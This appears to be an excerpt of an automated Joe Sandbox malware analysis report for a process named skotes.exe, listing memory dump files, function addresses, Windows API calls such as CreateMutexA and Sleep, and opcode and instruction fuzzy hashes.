Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 434c8c87f0f903c0aa60e37dc90f5d9451e4ece6ef191416f9a29d57713d3e7f
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 27B115329042459FDB15CF68C881FAEBBF5EF46360F1641AEE859EB242D6348D42CB60

Function 00AABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00AABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00AABBE4
_xtime_get.LIBCPMT ref: 00AABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00AABC13

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 5ee242c804e61931bfefbd8abddd67a05ec2cb0319bffe8a39085b51fb6880fb
Instruction ID: faf8987d26d2c238484cb275ea7f208a54162b9b68b0d661b27bf4549390aada
Opcode Fuzzy Hash: 5ee242c804e61931bfefbd8abddd67a05ec2cb0319bffe8a39085b51fb6880fb
Instruction Fuzzy Hash: 5A213271A00219AFDF00EFA4DD81DBEB7B9EF09720F110029F601BB291DB709D419BA0

Analysis Process: skotes.exePID: 6592, Parent PID: 5732COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1925
Total number of Limit Nodes:	9

Executed Functions

Function 0022652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0022652A,?,?,?,?,?,00227661), ref: 00226566

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 154115607d190eb7976f6d42db20daf45b4a3166e494e08ad5a13fc04642ae95
Instruction ID: 102a8754917bb68c4da0a96b6936a1787fc110879d8ca04eed065c496c745653
Opcode Fuzzy Hash: 154115607d190eb7976f6d42db20daf45b4a3166e494e08ad5a13fc04642ae95
Instruction Fuzzy Hash: A1E08631462158BACE257F94F909A483B19EB11745F404410F8088A226CB35ED61C940

Function 001F9BA5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 688d8952e26c08e69fe0b2cc00df1b51d6a4fa1a2e355b80afcf27e72d6ab1ce
Instruction ID: 472f95aa891849bbef9432fba922bd38121b1964bbf95eaa9e91201b42e284d7
Opcode Fuzzy Hash: 688d8952e26c08e69fe0b2cc00df1b51d6a4fa1a2e355b80afcf27e72d6ab1ce
Instruction Fuzzy Hash: 14316D71611208CBEB08EB78DC99B7DB7B2EFC1314F648228E218DB3D6C77959808751

Function 001F9F44 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 8c2ee4a267cbfe940d13ad90be7a91260195c6eed52cce2320ec3615b24b5990
Instruction ID: e4d6a9188484db85230ca36db7cfb278dc301ad681ea1de110ff083ac9695872
Opcode Fuzzy Hash: 8c2ee4a267cbfe940d13ad90be7a91260195c6eed52cce2320ec3615b24b5990
Instruction Fuzzy Hash: 41315D716102089BEB08EB78DC9877DBBB2EFC5314F608629E518D73D5C77959808711

Function 001FA079 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
